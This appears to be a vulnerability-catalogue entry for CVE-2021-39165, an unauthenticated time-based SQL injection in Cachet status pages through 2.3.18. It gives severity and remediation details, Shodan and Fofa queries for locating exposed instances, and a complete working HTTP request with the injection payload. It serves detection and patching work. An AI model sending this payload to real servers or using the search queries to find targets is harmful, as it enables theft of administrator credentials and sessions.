| Title | Cachet <=2.3.18 - SQL Injection |
|---|---|
| Author | tess |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation. |
| Remediation | Upgrade Cachet to a version higher than 2.3.18 or apply the necessary patches provided by the vendor. |
| CVSS Score | 6.5 |
| EPSS Score | 0.8938 |
| CVE ID | CVE-2021-39165 |
| CWE ID | CWE-287 |
| Shodan Query | http.favicon.hash:-1606065523 |
| Fofa Query | icon_hash=-1606065523 |
| Tags | time-based-sqli cve cve2021 cachet sqli chachethq vuln |
Cachet is an open source status page. With Cachet prior to and including 2.3.18, there is a SQL injection which is in the SearchableTrait#scopeSearch(). Attackers without authentication can utilize this vulnerability to exfiltrate sensitive data from the database such as administrator’s password and session. The original repository of Cachet https://github.com/CachetHQ/Cachet is not active, the stable version 2.3.18 and it’s developing 2.4 branch is affected.
GET /api/v1/components?name=1&1%5B0%5D&1%5B1%5D=a&1%5B2%5D&1%5B3%5D=or+'a'='a')%20and%20(select%20sleep(6))-- HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-39165.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-39165.pcap
N/AN/A